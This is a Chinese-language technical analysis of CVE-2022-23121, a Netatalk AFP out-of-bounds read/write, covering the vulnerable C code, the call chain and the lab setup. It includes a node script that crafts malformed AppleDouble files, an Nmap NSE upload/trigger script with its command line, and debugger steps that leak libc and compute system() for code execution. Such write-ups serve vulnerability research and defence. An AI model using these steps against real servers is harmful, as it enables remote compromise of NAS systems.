CVE-2022-23121 AFP RCE 分析

Netatalk介绍

Netatalk 是一个 Apple Filing Protocol (AFP) 的开源实现。它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。多款NAS产品均有集成该功能。

漏洞简介

Netatalk在处理FPOpenFork命令的时候,由于未检查AppleDouble文件头中的偏移是否超出范围,导致攻击者可以通过控制AppleDouble文件的某些偏移,在内存中进行越界读写,通过该漏洞攻击者可以以启动Netatalk的用户权限执行任意命令

Appledouble文件

Appledouble文件格式文档可在下面链接下载,AppleDouble文件是mac上一种存储数据的格式,AppleDouble文件可分为文件头和数据部分,文件头格式如下,对于每个Entry来说,数据在文件内的范围可表示为:[offset:offset+length]

Field                              Length
Magic number                       4 bytes
Version number                     4 bytes
Filler                             16 bytes
Number of entries                  2 bytes
Entry descriptor for each entry:
	Entry ID                         4 bytes
		Offset                         4 bytes
		Length                         4 bytes

以下是一个有效的Appledouble文件,包含两个entry

entry 1

  • entry ID:0x09
  • offset:0x32
  • length:0x71

entry 2

  • entry ID:0x02
  • offset:0xA3
  • length:0x46

https://web.archive.org/web/20180311140826if_/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf

如何生成有效的AppleDouble文件触发漏洞

https://nosec.org/home/detail/4997.html 中keeee师傅分享了如何通过xattr库生成appledouble文件,这里为了方便生成所需文件对keeee师傅的方法进行魔改。

首先安装 xattr-file和minimist库:

npm install xattr-file
npm install minimist

在node_modules目录内找到xattr-file.js文件,修改creat方法,为其添加接受各种偏移的接口,大致如下:

function create(attrs, resoLength, findoff, findlen, forkoff, forklen) {
  ......

  var finderInfoOffset = findoff == -1 ? applLength : findoff
  var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen
  var resourceForkOffset = forkoff == -1 ? fileLength : forkoff
  var resourceForkLength = forklen == -1 ? resoLength : forklen

生成xattr文件的nodejs脚本:

var xattr = require("xattr-file");
const args = require('minimist')(process.argv.slice(2))
const fs = require('fs')

var fp = './'
var origname = 'read'
// resource fork data 部分:

var buffer2 = Buffer.from("a".repeat(0x12))
var buffer3 = Buffer.from("a".repeat(0x34))

console.log(Buffer.concat([ buffer2, buffer3]).length)  // 打印的 resource fork data 长度。

resoLength = Buffer.concat([buffer2, buffer3]).length
var findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])
var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])
var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])
var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])
// 如果name为空则为read
var name = args["name"] == undefined ? origname : args["name"]

console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen)

var buffer = xattr.create({
  "com.example.Attribute": "my data"
}, resoLength, findoff, findlen, forkoff, forklen);

var buffer4 = Buffer.concat([buffer, buffer2, buffer3])
fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => {
  if (err) {
    console.error(err)
    return
  } else {
    console.log("success write file, file path: " + fp + '._' + name)
  }
  //文件写入成功。
}
)

fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => {
  if (err) {
    console.error(err)
    return
  } else {
    console.log("success write file, file path: " + fp + name)
  }
  //文件写入成功。
}
)

fs.chmod(fp+ name, 0o777, () => {
  console.log("change " + fp+ name + " mode")
})

fs.chmod(fp + '._' + name, 0o777, () => {
  console.log("change " + fp + '._' + name + " mode")
})

如何将文件上传到服务器

生成文件后,为了更贴合实际漏洞利用场景,即生成有效AppleDouble文件后通过AFP客户端上传到AFP服务器,这里借鉴Nmap自带的afp的lua库,编写我们自己的上传NSE脚本。

在Nmap中原生包含了afp-ls的NSE脚本,其引用的lua库afp.lua内含有我们通过AFP协议上传文件需要的接口WriteFile,在上传文件的NSE脚本中调用该接口即可

在scripts目录下新建afp-upfile.nse文件,将afp-ls.nse内容粘贴进去,去掉列出文件逻辑的代码,之后编写lua代码,读取文件,将文件内容传给afp.lua内的WriteFile函数即可,最终如下:

......
action = function(host, port)
  -- 这里和afp-ls的逻辑一样

    local msg
    local uploadpath = args["uploadpath"]
    local filepath = args["filepath"]
    local poc = io.open(filepath,"r")
    local data = poc:read("*all")
    poc:close()
    status, msg = afpHelper:WriteFile(uploadpath, data)
    status, response = afpHelper:Logout()
    status, response = afpHelper:CloseSession()
    return data
  end
  return
end

利用该脚本,可以通过nmap上传文件到afp服务器

nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip

漏洞成因

libatalk/adouble/ad_open.c#parse_entries 函数为Nettatalk解析buf内的数据到自定义的结构体,通过读取buf内对应offset的数据到传入的ad指针指向的adouble结构体的某些成员内,完成对相应值的设置,其中buf数据来自读取的._filename的文件。在循环中将buf首地址加上某个offset中的数据通过memcpy函数拷贝到ad指向的adouble结构体变量内,在循环内含有一个if判断,当处于以下情况时,parse_entries 会返回-1并且打印警告日志

  1. eid > ADEID_MAX,ADEID_MAX=20
  2. off>sizeof(ad->ad_data)
  3. eid不等于2并且此时的entry的偏移和数据长度相加大于1024

即通过控制文件内的数据,我们可以控制adouble结构体内的entry的off+len使得entry.off+entry.len+buf超过buf的边界,正常流程中adouble结构体内的entry的off+len+buf不应该越过buf边界。

static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)
{
    uint32_t   eid, len, off;
    int        ret = 0;
    /* now, read in the entry bits */
    for (; nentries > 0; nentries-- ) {
        memcpy(&eid, buf, sizeof( eid ));
        eid = get_eid(ntohl(eid));
        buf += sizeof( eid );
        memcpy(&off, buf, sizeof( off ));
        off = ntohl( off );
        buf += sizeof( off );
        memcpy(&len, buf, sizeof( len ));
        len = ntohl( len );
        buf += sizeof( len );

        ad->ad_eid[eid].ade_off = off;
        ad->ad_eid[eid].ade_len = len;

        if (!eid
            || eid > ADEID_MAX
            || off >= sizeof(ad->ad_data)
            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data)))) // ADEID_RFORK
        {
            ret = -1;
            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",
                (uint)eid, (uint)off, (uint)len);
        }
    }

    return ret;
}

// adouble 定义
struct adouble {
	......
    char                ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024
};

在代码里,在以下几处函数中有调用parse_entries 函数

  • ad_header_read
  • ad_header_read_osx
  • ad_header_read_ea

在三处函数中,只有libatalk/adouble/ad_open.c#ad_header_read_osx函数调用parse_entries函数时,即使parse_entries返回-1,该函数不会return也不会进入异常处理流程,仅仅是通过日志记录,继续执行而不报错。

if (parse_entries(&adosx, buf, nentries) != 0) {
        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
            path ? fullpathname(path) : "");
    }

之后ad_header_read_osx 会读取adouble结构体内的偏移,判断finderinfo的entry len是否等于32,不等于则进入if内,并调用libatalk/adouble/ad_open.c#ad_convert_osx 函数

ad_convert_osx 函数中会读取ad指针指向的adouble结构体内的entry结构的off和len偏移并调用memmove函数进行内存复制,此偏移恰好是parse_entries 函数从文件读取并赋值的偏移。

static int ad_convert_osx(const char *path, struct adouble *ad)
{
......
    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);
    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));
    (void)ad_rebuild_adouble_header_osx(ad, map);
    munmap(map, origlen);

分析函数调用链

通过 doxygen+graphviz绘制函数调用链图,从图中可以看出完整的函数调用链为:ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

ad_open函数所在的libatalk目录内的代码会被编译为libatalk.so,最终被afpd服务使用,在afpd 代码中,由etc/afpd/fork.c#afp_openfork 调用libatalk/adouble/ad_open.c#ad_open函数。

int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen)
{
    .....
    /* First ad_open(), opens data or ressource fork */
    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {
.....

libatalk/adouble/ad_open.c#ad_open 函数中,当请求内设置了ADFLAGS_RF这个flag才会调用ad_open_rf函数

if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2
        if (ad_open_rf(path, adflags, mode, ad) != 0) {
            EC_FAIL;
        }
}

触发漏洞流程

想要触发该漏洞,必须要了解到afpd服务如何处理客户端请求,以便构造请求执行到漏洞代码处。

启动Netatalk的服务端afpd服务后,在afpd的main函数入口处初始化一些变量、加载AFP配置、监听端口等。

int main(int ac, char **av)
{
    struct sigaction	sv;
    sigset_t            sigs;
    int                 ret;
......
    if (afp_config_parse(&obj, "afpd") != 0)
.....
    obj.options.save_mask = umask(obj.options.umask);
......
    while (1) {
        .......
        for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {

                case LISTEN_FD:
                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                        if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
                      .....
                            kill(child->afpch_pid, SIGKILL);
                        }
                    }
                    break;
               ......
}

之后进入while循环,调用 etc/afpd/main.c#dsi_startdsi_start 调用dsi_getsession ,在dsi_getsession中调用dsi->proto_open 函数指针,实际指向libatalk/dsi/dsi_tcp.c#dsi_tcp_open

static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        ......
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  // 设置、初始化变量等操作,通过fork函数创建子进程
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
......
}

dsi_tcp_open函数接收来自客户端的连接,通过fork函数创建子进程

static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
    ......
    if (0 == (pid = fork()) ) { /* child */
       ......
    }

    /* send back our pid */
    return pid;
}

返回到dsi_getsession函数中,当fork返回的pid为0时,即当前进程为子进程则跳出switch结构,进入处理DSI数据的逻辑,当返回的pid不为0也不为-1时,即当前进程为父进程,则返回到dsi_start函数。

int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  // 设置、初始化变量等操作
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    ......
  case 0: // 如果是子进程则直接退出switch,进入处理DSI数据的逻辑
    break;
  default: //如果是父进程则返回到dsi_start函数
    ......
    dsi->proto_close(dsi);
    *childp = child;
    return 0;
  }
  ....
  switch (dsi->header.dsi_command) {                 // 根据dsi命令执行不同动作
  case DSIFUNC_STAT: /* send off status and return */
   .....
  case DSIFUNC_OPEN: /* setup session */
    /* set up the tickle timer */
    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
    dsi_opensession(dsi);
    *childp = NULL;
    return 0;

  default: /* just close */
    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
    dsi->proto_close(dsi);
    exit(EXITERR_CLNT);
  }
}

之后回到dsi_start函数中,如果当前进程为父进程则返回到main函数中的while循环中,等待客户端的连接。如果当前进程为子进程则调用afp_over_dsi函数处理AFP数据,根据不同的AFP命令调用全局变量afp_switch[]内的不同函数指针进行处理

void afp_over_dsi(AFPObj *obj)
{
    ......
    /* get stuck here until the end */
    while (1) {
        ......
        cmd = dsi_stream_receive(dsi);
......
        switch(cmd) {
        case DSIFUNC_CLOSE:
            ......
        case DSIFUNC_TICKLE:
            ......
        case DSIFUNC_CMD:
	......
								function = (u_char) dsi->commands[0];
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

                    ......
    }

    /* error */
    afp_dsi_die(EXITERR_CLNT);
}

afp_switchpreauth_switch初始化,里面只有少量函数指针,而在postauth_switch中含有大量函数指针,推测为经过身份验证后afp_switchpostauth_switch赋值

static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,				/*  16 -  23 */
    .....
};

AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
    NULL, afp_bytelock, afp_closevol, afp_closedir,
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,	/*   0 -   7 */
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,	/*   8 -  15 */
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,	/*  16 -  23 */
    afp_openvol, afp_opendir, afp_openfork, afp_read,
    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
    /*  24 -  31 */
    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */
    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
    afp_null, afp_null, afp_null, afp_null,			/*  40 -  47 */
    afp_opendt, afp_closedt, afp_null, afp_geticon,
    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,	/*  48 -  55 */
    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
......
};

static int set_auth_switch(const AFPObj *obj, int expired)
{
 ......
        afp_switch = postauth_switch;

在函数调用链中,afp_openforkafp_switch的下标为26,同时26也可以在AFP数据包内看到:

调用总结

总结以上触发流程,触发到afp_openfork函数需要AFP数据包内Command字段值为26同时需要设置ADFLAGS_RF 这个flag,触发漏洞链条为:afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

函数调用图如下:

如何发送FPOpenFork请求

前面说过在nmap中含有afp相关的脚本,在nmap自带的lua库afp.lua中含有读取文件相关的函数,调用之,最终nse脚本如下,需要注意的是,在FPOpenFork请求中必须设置ADFLAGS_RF 这个flag才会触发到漏洞函数逻辑,在nmap自带的afp.lua的ReadFile函数中,该flag写死为0,需要修改为0x2,请求中的ADFLAGS_RF 才会被设置。


action = function(host, port)
-- 和afp-ls逻辑一样

    local str_path = args["path"]

    local content
    status, content = afpHelper:ReadFile(str_path)
    status, response = afpHelper:Logout()
    status, response = afpHelper:CloseSession()

    return content

  end
  return
end

文件内应该包含什么

在函数调用链中的ad_header_read_osx 函数中,有备注*Read an ._ file, only uses the resofork, finderinfo is taken from EA ,该函数只会使用resoforkfinderinfo 这两种entry,*所以在生成触发该漏洞的文件时只需要包含这两种entry即可。

环境搭建

这里使用Netatalk 3.1.11版本搭建

  • 系统版本 Ubuntu 1804

  • 内核版本

    root@ubuntu:~/nettatalk/netatalk-3.1.11/build/sbin/genefile# uname -a
    Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    
  • libc版本 libc-2.31.so

Netatalk编译

apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev  libdb-dev
wget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2
tar -xjf netatalk-3.1.11.tar.bz2
cd netatalk-3.1.11.tar.bz2
mkdir build
export CFLAGS='-g -O0' # 保留调试符号,方便调试
./configure \
--with-init-style=debian-systemd \
--without-libevent \
--without-tdb \
--with-cracklib \
--enable-krbV-uam \
--enable-debug \
--with-pam-confdir=/etc/pam.d \
--with-dbus-daemon=/usr/bin/dbus-daemon \
--with-dbus-sysconf-dir=/etc/dbus-1/system.d \
--with-tracker-pkgconfig-version=1.0 \
--prefix=`pwd`/build \
--bindir=`pwd`/build/bin \
--sbindir=`pwd`/build/sbin

make
make install

Netatalk配置

mkdir /tmp/afp_tmp/
mkdir /tmp/afp_tmp/Public
mkdir /tmp/afp_tmp/test

echo test > /tmp/afp_tmp/test/test.txt
echo hello > /tmp/afp_tmp//Public/hello.txt
chmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test
/tmp/afp_tmp/afp.conf:
[ Global ]
uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.so
save password = no
unix charset = UTF8
use sendfile = yes
zeroconf = no
guest account = nobody

 [ Public ]
path =/tmp/afp_tmp/Public
ea = auto
convert appledouble = no
stat vol = no
file perm = 777
directory perm = 777
veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'
rwlist = "admin","nobody","@allaccount"
valid users = "admin","nobody","@allaccount"
invalid users =

 [ test ]
path = /tmp/afp_tmp/test
ea = auto
convert appledouble = no
stat vol = no
file perm = 777
directory perm = 777
veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'
rwlist = "admin","nobody","@allaccount"
valid users = "admin","nobody","@allaccount"
invalid users =

参考:

https://nosec.org/home/detail/4997.html

调试

在AFPD中,由子进程负责处理AFP请求,父进程则循环接受客户端的请求,所以这里只需要调试子进程即可,为了方便调试,编写了如下脚本,至于为什么设置条件断点b ad_open.c:1894 if adflags & 2 != 0 在后文说明。

t.sh
gdb -x debug.gdb attach `ps -ef | grep  afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1`

debug.gdb
set follow-fork-mode child
set detach-on-fork off
set schedule-multiple on
b ad_open.c:1894 if adflags & 2 != 0
c
b ad_open.c:617
b ad_open.c:605

启动AFPD服务

./afpd -d -F /tmp/afp_tmp/afpd.conf
./cnid_metad -d -F /tmp/afp_tmp/afpd.conf

为什么要设置条件断点

将前面生成的appledouble文件通过nmap脚本上传到afp服务器,通过nmap脚本请求该文件触发该漏洞

如果断点没有设置if adflags & 2 != 0 这个条件则gdb会直接断在ad_open.c:1894,此时请求内ADFLAGS_RF 值为0,不能进入漏洞逻辑,而由于断点,afp无法及时回复nmap数据包,nmap会报超时。

继续执行的话,afpd会收到SIGALRM信号,无法进入漏洞逻辑

正常调试

上传的._read文件到test目录:

触发漏洞,进入parse_entries函数内,parse_entries读取buf里面的数据到ad指向的adouble结构体中。

最终adouble结构体内entry成员变量被设置为如下值,可以看出finderinfo entry内的off已经越界了:

而正常appledouble文件内,每个entry.ade_off+entry.ad_len相加应该小于文件大小,在上图中第九个entry即finderinfo的entry.ade_off+entry.ad_len = A27 >文件大小,这个偏移也可以从文件内体现,此时finderinfo的off已越界,此时已经控制了adouble.entry.off

如何利用entry内的越界

前面写到,parse_entries函数可以将adouble结构体内的entry的off和len相加大于文件大小,如果某个地方读取了这个off和len并作为offset读写数据则可能产生越界读写。

继续看ad_header_read_osx调用parse_entries之后的逻辑,在parse_entries中如果程序发现off+len越界则会返回-1,如果ad指向的adouble结构体内的finderinfo entryade_len不等于32则进入if逻辑内,调用到ad_convert_osx函数。

ad_convert_osx函数中,程序将appledouble文件映射到内存中,此时对文件映射的内存的读写即是对该文件的读写。ad_convert_osx函数映射之后调用了memmovead_rebuild_adouble_header_osx函数,之后通过munmap函数取消映射,将内存中的数据写入文件内。

mmap的长度参数origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)ad.ADEID_RFORK.off + ad.ADEID_RFORK.len 都为可控值

static int ad_convert_osx(const char *path, struct adouble *ad)
{
 ......
    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);
    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    ......
    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

.
    (void)ad_rebuild_adouble_header_osx(ad, map);
    munmap(map, origlen);
......
}
#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)
long ad_getentryoff(const struct adouble *ad, int eid)
{
    if (ad->ad_vers == AD_VERSION2)
        return ad->ad_eid[eid].ade_off;

    switch (eid) {
    case ADEID_DFORK:
        return 0;
    case ADEID_RFORK:
#ifdef HAVE_EAFD
        return 0;
#else
        return ad->ad_eid[eid].ade_off;
#endif
    default:
        return ad->ad_eid[eid].ade_off;
    }
    /* deadc0de */
    AFP_PANIC("What am I doing here?");
}

mmap之后文件已映射到内存中,在经过多次测试后,当resource fork length + resource fork offset ≤1000 时会mmap分配的内存在ld.sodata段上面。

任意写

仔细看调用memmove时的参数,map为文件映射到内存的首地址,ad_getentryoff为获取指定entry id的entry的off,ADEDLEN_FINDERI为宏定义值为32=0x20,而我们可以控制各个entry的off和len,通过该处调用,即我们可以从map + ad.ADEID_RFORK.off处读取任意长度的数据写入到任何高于map+0x20的内存(前提是该地址可写)也就是将文件中ad.ADEID_RFORK.off 处的数据写入该内存,而ad.ADEID_FINDERI.offad.ADEID_RFORK.off都为可控值,即可达到任意写。

    memmove(map + ad.ADEID_FINDERI.off + 0x20,
            map + ad.ADEID_RFORK.off,
            ad.ADEID_RFORK.len);

任意读

任意读发生在任意写的后面的函数调用,在ad_rebuild_adouble_header_osx 函数中有如下语句,该语句将ad.ad_data+ad.ADEID_FINDERI.off 处开始长为0x20的数据写入到adbuf+ADEDOFF_FINDERI_OSX中,ADEDOFF_FINDERI_OSX为宏定义,展开后可得值为26+2*12=50=0x32,而adbuf为mmap映射后返回的内存地址,该处语句将数据写入到mmap映射的内存偏移0x32的位置。

#define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)
int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)
{
    ......
    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);

#define ADEDOFF_FINDERI_OSX  (AD_HEADER_LEN + ADEID_NUM_OSX*AD_ENTRY_LEN)
#define AD_HEADER_LEN       (ADEDLEN_MAGIC + ADEDLEN_VERSION + ADEDLEN_FILLER + ADEDLEN_NENTRIES) /* 26 */
#define ADEID_NUM_OSX           2
#define AD_ENTRY_LEN        12  /* size of a single entry header */

在调用完ad_rebuild_adouble_header_osx 函数后,程序调用munmap函数取消文件映射,内存内的数据会被写回到appledouble文件中,综合有:可以将ad.ad_data+ad.ADEID_FINDERI.off 处开始长为0x20的数据写入到文件偏移0x32处的地方,此时可以通过读取文件获取任意读的内存的内容。

组合利用

在内存中ad指向的结构体是存放在栈上的,分配的adouble结构体地址位于ad_header_read_osx栈帧的rbp-0x620处,可以用调试器测算和__libc_start_main_ret的地址

gef➤  bt
#0  0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0 <pathbuf> "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698
#1  0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80 <upath> "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488
#2  0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80 <upath> "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529
#3  0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80 <upath> "read", adflags=0x283) at ad_open.c:1895
#4  0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 <obj>, ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364
#5  0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 <obj>) at afp_dsi.c:627
#6  0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 <obj>, dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474
#7  0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417
gef➤  i frame 7
Stack frame at 0x7ffcf6e36ee0:
 rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083
 caller of frame at 0x7ffcf6e36d80
 source language c.
 Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8
 Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0
 Saved registers:
  rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8
gef➤  p &adosx.ad_data
$11 = (char (*)[1024]) 0x7ffcf6e36522
gef➤  p 0x7ffcf6e36ed8 - 0x7ffcf6e36522
$12 = 0x9b6

任意读是读取ad.ad_data+ad.ADEID_FINDERI.off 处长为0x20的数据,而ad.ad_data 距离__libc_start_main_ret0x9b6,所以可以设置ad.ADEID_FINDERI.off 为0x9b6以获取__libc_start_main_ret地址。利用脚本构造文件并利用NSE脚本上传到服务器

通过命令触发该漏洞、

__libc_start_main_ret地址已经回显在文件内

验证地址:

https://libc.rip 上验证libc版本:

通过__libc_start_main_ret地址可以测算system函数地址

gef➤  p 0x7f6242e51083 - 0x24083 + 0x52290
$14 = 0x7f6242e7f290
gef➤  p system
$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>
gef➤

至此,我们得到了system函数地址,那么如何利用这个地址呢?

Netatalk每次收到客户端请求都是fork子进程处理该请求,父进程继续监听socket,而fork的子进程内存空间和父进程内存空间的内容一样即libc库载入的地址不变,所以可以先发送请求通过任意读获取到system函数地址,第二次发送请求时,由于父进程不变所以system函数地址不变,通过任意写的system函数地址不变,才能达到命令执行的效果。

正是因为fork后,内存空间不变的机制才能利用任意读获取到system函数地址,而后通过任意写覆盖函数指针达到命令执行的效果。

在Netatalk执行过程中,程序出错不会立即退出而是会捕获异常,通过任意写,写入了ld.so的数据段,触发错误,导致了如下崩溃:

gef➤  bt
#0  0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 <init+25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786
#1  0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96
#2  0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 <do_dlopen>, args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208
#3  0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 <do_dlopen>, args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227
#4  0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 <do_dlopen>) at dl-libc.c:46
#5  __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195
#6  0x00007efeac6acfb9 in init () at backtrace.c:54
#7  0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 <once>, init_routine=0x7efeac6acfa0 <init>) at pthread_once.c:116
#8  0x00007efeac6ad104 in __GI___backtrace (array=<optimized out>, size=<optimized out>) at backtrace.c:111
#9  0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93
#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127
#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147
#12 <signal handler called>
#13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238
#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187
#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0 <pathbuf> "._cmd", ad=0x7ffd9f279540) at ad_open.c:617
#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0 <pathbuf> "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713
#17 0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488
